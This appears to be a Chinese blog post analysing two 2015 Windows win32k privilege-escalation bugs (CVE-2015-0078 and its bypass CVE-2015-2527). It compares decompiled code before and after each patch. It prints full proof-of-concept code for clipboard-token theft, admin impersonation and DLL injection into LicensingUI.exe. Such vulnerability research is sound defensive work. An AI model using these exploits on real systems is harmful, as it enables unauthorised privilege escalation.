【微软漏洞分析】MS15-023 Win32k 特权提升漏洞 - CVE-2015-0078 + 绕过(CVE-2015-2527 in MS15-097)

MS15-023

CVE-2015-0078 微软漏洞描述

Windows 内核模式驱动程序中存在一个特权提升漏洞,该漏洞是由于内核模式驱动程序未能正确验证调用线程的令牌而导致的。

成功利用此漏洞的经过身份验证的攻击者可以获得管理员凭据并使用它们来提升权限。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全管理权限的新帐户。要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行旨在提高权限的特制应用程序。此更新通过更正内核模式驱动程序验证调用线程令牌的方式来解决漏洞。

漏洞作者分析

NtUserGetClipboardAccessToken win32k 系统调用将最后一个用户的访问令牌公开给低权限用户。它还可用于打开通常 OpenThreadToken 不应该做的匿名模拟线程令牌。
NtUserGetClipboardAccessToken 方法打开一个令牌对象,该对象在 NtUserCloseClipboard 系统调用期间捕获,假设调用者已将某些内容写入剪贴板。

补丁分析

我们这里以windows 7的x86的补丁分析,补丁解开之后的目录列表如下:

  • ms15-023\x86\win32k_6.3.9600.17694
    • win32k.sys

win32k.sys

主要包括一个更新函数:

  1. NtUserGetClipboardAccessToken

NtUserGetClipboardAccessToken

更新前

BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
{
  int v2; // edx
  BOOL v3; // ebx
  void *v4; // ecx
  void **v5; // ecx
  void *Handle; // [esp+18h] [ebp-1Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
  Handle = 0;
  EnterCrit(1);
  if ( sub_BF190(
         *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 456),
         *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 460),
         0x2000,
         -1)
    && (v4 = *(void **)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 216) + 12) + 68)) != 0 )
  {
    v3 = ObOpenObjectByPointer(v4, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
    ms_exc.registration.TryLevel = 0;
    v5 = (void **)a1;
    if ( (unsigned int)a1 >= W32UserProbeAddress )
      v5 = (void **)W32UserProbeAddress;
    *v5 = Handle;
    ms_exc.registration.TryLevel = -2;
  }
  else
  {
    v3 = 0;
    sub_66C6A(5);
  }
  UserSessionSwitchLeaveCrit();
  return v3;
}

更新后

BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
{
  int v2; // eax
  BOOL v3; // ebx
  void *v4; // ecx
  void **v5; // ecx
  void *Handle; // [esp+18h] [ebp-1Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
  Handle = 0;
  EnterCrit();
  v2 = PsGetCurrentProcessWin32Process();
  if ( (IsImmersiveBroker(v2)
     || CheckAccessForIntegrityLevel(
          *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 456),
          *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 460),
          0x2000,
          -1))
    && (v4 = *(void **)(*(_DWORD *)(*(_DWORD *)(gptiCurrent + 216) + 12) + 68)) != 0 )
  {
    v3 = ObOpenObjectByPointer(v4, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
    ms_exc.registration.TryLevel = 0;
    v5 = (void **)a1;
    if ( (unsigned int)a1 >= W32UserProbeAddress )
      v5 = (void **)W32UserProbeAddress;
    *v5 = Handle;
    ms_exc.registration.TryLevel = -2;
  }
  else
  {
    v3 = 0;
    sub_511AC(5);
  }
  UserSessionSwitchLeaveCrit();
  return v3;
}

重点分析

增加了两个校验函数IsImmersiveBroker和CheckAccessForIntegrityLevel,只要符合其中之一就可以通过。

PoC分析

执行过程为:

  1. 获取GetClipboardAccessToken的dll调用地址
  2. GetProcessToken获取当前进程句柄
  3. GetTokenIntegrityLevel获取当前进程完整性级别(IL)
  4. GetAdminSid获取管理员SID
  5. 调用GetClipboardAccessToken获取令牌Token
  6. DuplicateTokenEx复制模拟令牌Token
  7. CheckTokenMembership检查令牌是否管理员
  8. SetTokenIL设置令牌的IL为当前进程IL
  9. ImpersonateLoggedOnUser用复制的令牌进行模拟登录
  10. CreateFile在系统目录创建文件

可以看到通过PoC的执行,可以验证复制出来的令牌已经具有管理员权限。

具体代码参考下面:

int _tmain(int argc, _TCHAR* argv[])
{
	_GetClipboardAccessToken f_GetClipboardAccessToken = (_GetClipboardAccessToken)GetProcAddress(LoadLibrary(L"user32.dll"), "GetClipboardAccessToken");	
	HANDLE hProcess = GetProcessToken();
	DWORD curr_il = GetTokenIntegrityLevel(hProcess);
	
	if (f_GetClipboardAccessToken)
	{
		typed_buffer_ptr<SID> adminSid;
		
		if (!GetAdminSid(adminSid))
		{
			printf("Error getting admin sid\n");
		}

		printf("Perform a copy in an elevated process window\n");

		while (true)
		{
			HANDLE hToken;

			if (f_GetClipboardAccessToken(&hToken, MAXIMUM_ALLOWED))
			{			
				HANDLE hImpToken;
					
				if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &hImpToken))
				{										
					BOOL isMember;
					if (CheckTokenMembership(hImpToken, adminSid, &isMember) && isMember)
					{
						if (SetTokenIL(hImpToken, curr_il))
						{
							if (ImpersonateLoggedOnUser(hImpToken))
							{
								HANDLE hFile = CreateFile(L"c:\\windows\\test.txt", GENERIC_READ | GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, 0);
								if (hFile != INVALID_HANDLE_VALUE)
								{
									printf("Opened file: %p\n", hFile);
									CloseHandle(hFile);
									break;
								}
								else
								{
									printf("Error: %d\n", GetLastError());
								}
							}
							else
							{
								printf("Error impersonating %d\n", GetLastError());
							}
						}
						else
						{
							printf("Error setting IL\n");
						}						
					}

					CloseHandle(hImpToken);
				}
				else
				{
					printf("Error duplicating: %d\n", GetLastError());
				}				

				CloseHandle(hToken);
			}			
			
			Sleep(1000);
		}
	}
	else
	{
		printf("GetClipboardAccessToken doesn't exist, not Windows 8.1?\n");
	}

	return 0;
}

MS15-097

CVE-2015-2527 微软漏洞描述

当 Windows 内核模式驱动程序 (Win32k.sys) 在某些进程初始化场景中无法正确验证和强制执行完整性级别时,存在特权提升漏洞。成功利用该漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。

要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行特制的应用程序,该应用程序可以利用该漏洞并控制受影响的系统。

漏洞作者分析

据说这在 MS15-023 中被修复为 CVE-2015-0078,以防止运行在中等 IL 以下的任何进程访问令牌。检查大致是:

if(IsImmersiveBroker() || CheckAccessForIntegrityLevelEx(0x2000)) {
ObOpenObjectByPointer(WinStationObject->ClipboardAccessToken, Access, TokenHandle);
}

这是可以绕过的,因为 IsImmersiveBroker 级别很容易获得。似乎 Win32k 在首次初始化进程并将其转换为 GUI 线程时设置了适当的 Win32Process 标志。如果可执行文件由 Microsoft 证书签名并且有一个特别命名的“.imrsiv”部分,则将设置该标志,但是无论进程的 IL 是什么,都会执行此操作。因此,您可以使用预签名的可执行文件之一创建进程,例如 explorer.exe、RuntimeBroker.exe 或 LicensingUI.exe,然后将 DLL 注入进程。这允许您绕过检查并捕获令牌。

补丁分析

更新函数和之前一致,更新后代码如下:

BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
{
  BOOL v2; // ebx
  void *v3; // ecx
  HDC v4; // ecx
  void *Handle; // [esp+10h] [ebp-20h] BYREF
  char v7; // [esp+17h] [ebp-19h] BYREF
  CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]

  Handle = 0;
  EnterLeaveCrit::EnterLeaveCrit((EnterLeaveCrit *)&v7);
  
  
  if ( CheckAccessForIntegrityLevel(
         *(_DWORD *)(*(_DWORD *)(gptiCurrent + 196) + 456),
         *(_DWORD *)(*(_DWORD *)(gptiCurrent + 196) + 460),
         0x2000,
         -1)
    && (v3 = *(void **)(*(_DWORD *)(*(_DWORD *)(gptiCurrent + 212) + 12) + 68)) != 0 )
  {
    v2 = ObOpenObjectByPointer(v3, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
    ms_exc.registration.TryLevel = 0;
    v4 = (HDC)a1;
    if ( a1 >= (unsigned int)W32UserProbeAddress )
      v4 = W32UserProbeAddress;
    *(_DWORD *)v4 = Handle;
    ms_exc.registration.TryLevel = -2;
  }
  else
  {
    v2 = 0;
    UserSetLastError(5);
  }
  UserSessionSwitchLeaveCrit();
  return v2;
}

可以注意到只是删除了校验函数IsImmersiveBroker的调用,将之前的两种条件改为一种。

我们看下校验函数IsImmersiveBroker的代码:

BOOL __usercall IsImmersiveBroker@<eax>(int a1@<ecx>, struct _EPROCESS *a2@<esi>)
{
  PRKPROCESS v2; // esi
  BOOL result; // eax

  if ( gfIgnoreMoshHardening )
    return (*(_BYTE *)(a1 + 424) & 0x30) != 16;
  if ( (*(_DWORD *)(a1 + 424) & 0x30) == 32 )
    return 1;
  v2 = *(PRKPROCESS *)a1;
  if ( _IsProcessDwm(a2) )
    result = 1;
  else
    result = v2 == gpepCSRSS;
  return result;
}

这个函数主要的校验是Microsoft 证书签名和判断是否是dwm.exe和csrss.exe。

PoC分析

主函数的作用是创建LicensingUI.exe进程,并将Dll inject到LicensingUI.exe进程。

int _tmain(int argc, _TCHAR* argv[])
{	
	HANDLE hToken;
	OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);

	if (GetTokenIntegrityLevel(hToken) >= SECURITY_MANDATORY_MEDIUM_RID)
	{
		printf("ERROR: You should run this as low integrity to demonstrate the issue\n");
		return 1;
	}

	std::wstring path = GetExecutableDir();
	path += L"\\injected.dll";

	STARTUPINFO startInfo = { 0 };
	PROCESS_INFORMATION procInfo = { 0 };
	WCHAR cmdline[] = L"LicensingUI.exe";

	startInfo.cb = sizeof(startInfo);

	if (CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
	{
		InjectDll(procInfo.hProcess, procInfo.hThread, path);		
		ResumeThread(procInfo.hThread);				
	}	
	else
	{
		printf("Error creating process %d\n", GetLastError());
	}

	return 0;
}

继续看inject Dll的代码,执行过程为:

  1. 获取GetClipboardAccessToken的dll调用地址
  2. GetAdminSid获取管理员SID
  3. 调用GetClipboardAccessToken获取令牌Token
  4. GetTokenIntegrityLevel查询令牌的完整性级别
DWORD CALLBACK DoExploit(LPVOID arg)
{
	_GetClipboardAccessToken f_GetClipboardAccessToken = (_GetClipboardAccessToken)GetProcAddress(LoadLibrary(L"user32.dll"), "GetClipboardAccessToken");
	
	if (f_GetClipboardAccessToken)
	{
		typed_buffer_ptr<SID> adminSid;

		if (!GetAdminSid(adminSid))
		{
			DebugPrintf("Error getting admin sid\n");
		}

		DebugPrintf("Perform a copy in an elevated process window\n");

		while (true)
		{
			HANDLE hToken;

			if (f_GetClipboardAccessToken(&hToken, MAXIMUM_ALLOWED))
			{		
				DWORD il = GetTokenIntegrityLevel(hToken);
				if (il >= SECURITY_MANDATORY_MEDIUM_RID)
				{
					DebugPrintf("Captured token %p with IL of %08X\n", hToken, il);
					MessageBox(nullptr, L"Captured a User Token", L"Message", MB_ICONEXCLAMATION);
					break;
				}									
			
				CloseHandle(hToken);
			}

			Sleep(1000);
		}
	}
	else
	{
		DebugPrintf("GetClipboardAccessToken doesn't exist, not Windows 8.1?\n");
	}	

	//FreeLibraryAndExitThread((HMODULE)arg, 0);
	ExitProcess(1);
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	DebugPrintf("In DllMain\n");
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		CreateThread(nullptr, 0, DoExploit, hModule, 0, 0);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

参考

https://bugs.chromium.org/p/project-zero/issues/detail?id=219
https://bugs.chromium.org/p/project-zero/issues/detail?id=461
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-023
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-097

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值